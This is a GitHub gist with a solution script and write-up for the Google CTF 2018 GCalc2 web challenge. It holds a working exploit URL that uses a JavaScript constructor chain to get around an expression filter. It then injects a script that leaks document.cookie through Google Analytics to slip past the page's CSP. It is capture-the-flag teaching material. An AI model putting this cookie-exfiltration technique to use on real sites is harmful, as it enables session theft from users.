Last active
June 27, 2018 01:04
-
-
Save beched/10e7bff65e75663fa73b4e46ea20c600 to your computer and use it in GitHub Desktop.
Google CTF 2018 Quals: GCalc2 web task solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from urllib import quote_plus | |
ga_tid = 'UA-***-1' # put your GA id here | |
url = 'https://gcalc2.web.ctfcompetition.com/' | |
url += r'?expr=vars.pi.constructor.name.constructor.constructor(vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop())()&vars=%7B%22pi%22:1.0,%22' | |
url += quote_plus(''' | |
script = document.createElement('script');script.src='https://www.google-analytics.com/collect?v=1&tid=%s&cid='+Math.random()+'&t=event&ec=email&el='+Math.random()+'&cs=newsletter&cm=email&cn='+document.cookie+'&cm1=1&ea=test';document.head.appendChild(script); | |
'''.replace('"', '\\"').replace('\n','') % ga_tid) | |
url += r'%22:1%7D' | |
print url |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The application implements client-side "calculator". You can also submit calculation requests to the flag bot. | |
Requests consist of 1) expression, 2) input vars JSON array. | |
Essential parts of the solution are as follows: | |
1) The expressions are executed by the following function: | |
function p(a, b) { | |
a = String(a).toLowerCase(); | |
b = String(b); | |
if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a); | |
b = JSON.parse(b, function(a, b) { | |
if (b && "object" === typeof b && !Array.isArray(b)) return Object.assign(Object.create(null), b); | |
if ("number" === typeof b) return b | |
}); | |
return (new Function("vars", "return " + a))(b) | |
} | |
You should use a limited alphabet to execute a JS payload. | |
The payload from my exploit can be broken down the following way: | |
> vars={"pi":3,"return 31337":0} | |
{pi: 3, return 31337: 0} | |
> vars.pi.constructor.name.constructor.constructor | |
ƒ Function() { [native code] } | |
> vars.pi.constructor.name | |
"Number" | |
> vars.pi.constructor.name.match() | |
["", index: 0, input: "Number", groups: undefined] | |
> vars.pi.constructor.name.match().constructor(vars) | |
[{…}] | |
> vars.pi.constructor.name.match().constructor(vars).keys().constructor | |
ƒ Object() { [native code] } | |
> vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars) | |
(2) ["pi", "return 31337"] | |
> vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop() | |
"return 31337" | |
> vars.pi.constructor.name.constructor.constructor(vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop())() | |
31337 | |
2) We should also bypass CSP. | |
https://gcalc2.web.ctfcompetition.com/ loads https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html in sandboxed iframe ("allow-scripts allow-modals allow-same-origin"). | |
Sandbox sends the following header: | |
Content-security-policy: default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src 'self' https://*.googleapis.com 'unsafe-inline'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com; | |
Meaning, we can execute inline scripts, but there's no straightforward way to exfiltrate data. Appended meta-tag with a new CSP doesn't help. | |
But we can actually use Google Analytics to "collect user data" and exfiltrate the cookie which contains the flag: | |
CTF{1+1=alert} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment